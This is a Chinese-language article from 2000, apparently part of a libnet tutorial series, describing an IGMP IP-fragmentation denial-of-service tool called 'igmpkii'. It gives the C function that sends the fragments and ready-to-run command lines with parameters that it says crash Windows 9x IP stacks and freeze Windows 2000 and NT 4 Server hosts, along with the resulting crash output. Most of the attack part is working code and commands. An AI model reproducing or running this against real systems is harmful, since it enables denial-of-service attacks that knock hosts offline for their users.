libnet使用举例(10)

标题:libnet使用举例(10)

作者:小四 < mailto: [email protected] >
主页:http://www.nsfocus.com
日期:2000-08-09

注意看igmpSend()部分,实际也是一个分片发生器,准备修改一下,不每次固定发送
11个分片,允许用户指定分片个数,允许指定分片大小,前面这个程序固定IP分片的
数据区负载为1480,对于某些MTU、对于某些TCP/IP实现,不一定能通过。而现在DoS
原因未明,正好可以修改攻击程序测试到底是重组后巨大报文出现问题还是分片数量
过多(即使单个分片并不大)出问题。有一点要注意,如果发包速度不快、发包数量不
够,是不会有效DoS的。袁哥判断目标还是做了一定程度的异常处理,但不彻底。尤
其是所有循环中IP分片的id域保持一致,会不会对目标机IP分片重组带来影响。

命令行上另外指定分片大小(以8bytes为单位),指定分片个数(在一轮循环内,不包
括最后一个分片),最后一个分片固定8字节的负载。

--------------------------------------------------------------------------
void igmpSend ( u_long srcIp, u_long dstIp )
{
    u_short ipDataLen;
    u_short frag;
    u_short bit;

    bit       = 0;
    ipDataLen = 8;  /* 8字节的负载 */
    frag      = fragNumber * fragSize;
    do
    {
        /* 构造IP头 */
        libnet_build_ip( ipDataLen,       /* IP数据区长度 */
                         IPTOS_LOWDELAY,  /* IP tos       */
                         19774,           /* IP ID        */
                         frag | bit,      /* frag stuff   */
                         255,             /* TTL          */
                         IPPROTO_IGMP,    /* 上层协议     */
                         srcIp,           /* big-endian序 */
                         dstIp,           /* 目标IP       */
                         NULL,            /* 无选项       */
                         0,               /* 选项长度零   */
                         packet );        /* 指向IP头     */
        Libnet_write_ip( rawSocket, packet, LIBNET_IP_H + ipDataLen );
        if ( frag == 0 )
        {
            break;
        }
        ipDataLen = fragSize * 8;
        bit       = 0x2000;    /* 非最后分片        */
        frag     -= fragSize;  /* 都是以8字节为单位 */
    } while ( 1 );  /* 总共11个分片发送出去 */
    return;
}  /* end of igmpSend */
--------------------------------------------------------------------------

Usage: ./igmpkii [--si srcIp] [--di dstIp] [--num igmpNumber]
       [--fs fragSize] [--fn fragNumber]

./igmpkii --di 192.168.8.90 --num 1 --fs 1 --fn 2000 这条命令就足以打瘫目
标主机的IP协议栈,说明分片大小不重要,主要还是分片数量太多造成DoS。

错误信息如下:

An exception 0E has ocurred at 0028:C14ACF62 in VxD VIP(01) + 00006C72.
This was called from 0028:C001C104 in VxD NDIS(01) + 00004620.

看样子要分析就要看vip.386了,咱可没那功力没那兴趣,闪!

一直以为对Windows 2000 Server/Advanced Server攻击无效,原来是实验数据不到
位,下面这组数据可以冻僵住目标主机,包括NT 4 Server SP5,SP6未测试,应该有
效。能否跨广域网攻击,不清楚。

./igmpkii --si 192.168.10.5 --di 192.168.8.66 --num 420000 --fs 184 --fn 80

你可能感兴趣的:(libnet使用举例(10))